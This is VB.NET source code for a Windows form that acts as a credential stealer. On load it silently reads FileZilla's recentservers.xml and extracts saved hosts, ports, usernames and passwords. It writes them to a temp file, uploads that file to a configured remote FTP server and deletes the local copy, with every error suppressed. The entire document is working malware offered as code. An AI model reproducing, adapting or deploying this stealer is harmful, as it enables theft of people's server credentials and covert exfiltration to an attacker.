Code
Imports Microsoft.Win32
Imports System.IO
Imports System.IO.File
Public Class Form1
Sub config() '///////////////////////////////////////////////
ftp_pass = "mypassword123"
ftp_user = "ftpuser13576"
ftp_path = "ftp.myaccount.com/logs/fz/"
'note: ftp_path must end with a forward slash
End Sub '////////////////////////////////////////////////////
Const n As String = vbCrLf
Dim filezilla_recent As String
Sub filezilla()
Try
'//extract recent logins from FileZilla
rtb1.LoadFile(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\FileZilla\recentservers.xml", RichTextBoxStreamType.PlainText)
rtb2.Text &= "### FileZilla ###" & n & "------------------------------------" & n
For Each Line In rtb1.Lines
If Line.Contains("<Host>") Then
rtb2.Text &= "Host: " & _
Line.Replace("<Host>", "").Replace("</Host>", "").Replace(" ", "")
End If
If Line.Contains("<Port>") Then
rtb2.Text &= ":" & _
Line.Replace("<Port>", "").Replace("</Port>", "").Replace(" ", "") & n
End If
If Line.Contains("<User>") Then
rtb2.Text &= "User: " & _
Line.Replace("<User>", "").Replace("</User>", "").Replace(" ", "")
End If
If Line.Contains("<Pass>") Then
rtb2.Text &= " Pass: " & _
Line.Replace("<Pass>", "").Replace("</Pass>", "").Replace(" ", "") & n & _
"------------------------------------" & n
End If
Next
filezilla_recent = rtb2.Text & n
rtb1.Dispose()
rtb2.Dispose()
Catch ex As Exception
End Try
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, _
ByVal e As System.EventArgs) Handles MyBase.Load
Try
filezilla()
config()
write_file()
Catch ex As Exception
End Try
End
End Sub
Dim ftp_user As String
Dim ftp_pass As String
Dim ftp_path As String
Sub write_file()
'//where to save the temp file
Dim file_loc As String = Application.StartupPath & "\" & Environment.UserDomainName & ".txt"
'//creat temp file
Dim oWrite As System.IO.StreamWriter
oWrite = File.CreateText(file_loc)
oWrite.WriteLine(filezilla_recent)
oWrite.Close()
Try
'//attempt to upload to remote ftp server
My.Computer.Network.UploadFile(file_loc, "ftp://" & ftp_user & ":" & ftp_pass & "@" & ftp_path & Environment.UserDomainName & ".txt")
Catch ex As Exception
End Try
'//delete file
Dim f2d As String
f2d = file_loc
If System.IO.File.Exists(f2d) = True Then
System.IO.File.Delete(f2d)
End If
End Sub
End Class